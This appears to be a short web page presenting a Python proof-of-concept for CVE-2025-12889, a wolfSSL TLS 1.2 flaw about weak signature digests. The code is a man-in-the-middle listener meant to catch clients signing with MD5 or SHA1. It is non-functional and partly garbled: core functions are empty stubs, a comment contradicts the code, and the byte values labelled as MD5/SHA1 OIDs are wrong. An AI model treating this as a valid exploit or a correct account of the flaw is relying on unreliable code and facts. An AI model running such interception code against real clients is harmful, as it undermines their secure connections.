CVE-2025-12889 wolfSSL TLS 1.2弱摘要算法验证漏洞

# CVE-2025-12889 PoC - wolfSSL TLS 1.2 Weak Digest Algorithm # This PoC demonstrates how a client can use weak digest algorithms # not specified in the server's CertificateRequest import socket import struct import ssl def create_mitm_proxy(): """ Man-in-the-middle proxy to intercept TLS 1.2 handshake and force weak signature algorithms """ context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) context.check_hostname = False context.verify_mode = ssl.CERT_NONE # Connect to target server with socket.create_server(('0.0.0.0', 8443)) as server: while True: client_conn, addr = server.accept() try: # Intercept the TLS handshake # Step 1: Receive ClientHello client_hello = client_conn.recv(4096) # Step 2: Send ServerHello with CertificateRequest # containing limited signature algorithms server_hello = build_server_hello_with_restricted_algs() client_conn.send(server_hello) # Step 3: Receive Certificate from client # Client may use weak algorithm (MD5/SHA1) not in our list client_cert = client_conn.recv(8192) # Step 4: Verify if client used weak algorithm cert_signature = extract_signature_from_cert(client_cert) weak_alg_detected = detect_weak_signature_algorithm(cert_signature) if weak_alg_detected: print(f"[VULNERABLE] Client used weak signature algorithm!") print(f"[INFO] This violates RFC 5246 Section 7.4.4") except Exception as e: print(f"Error: {e}") finally: client_conn.close() def build_server_hello_with_restricted_algs(): """Build ServerHello with only strong signature algorithms""" # Server specifies only SHA256/SHA384 in CertificateRequest # But vulnerable wolfSSL accepts MD5/SHA1 pass def detect_weak_signature_algorithm(signature): """Detect if weak algorithm like MD5 or SHA1 was used""" weak_algorithms = [b'\x02\x00', b'\x02\x01'] # MD5, SHA1 OIDs return any(alg in signature for alg in weak_algorithms) def extract_signature_from_cert(cert_data): """Extract signature algorithm from X.509 certificate""" # Parse ASN.1 structure to extract signature algorithm pass if __name__ == "__main__": print("CVE-2025-12889 PoC - Testing wolfSSL weak digest vulnerability") print("Target: wolfSSL with TLS 1.2 enabled") create_mitm_proxy()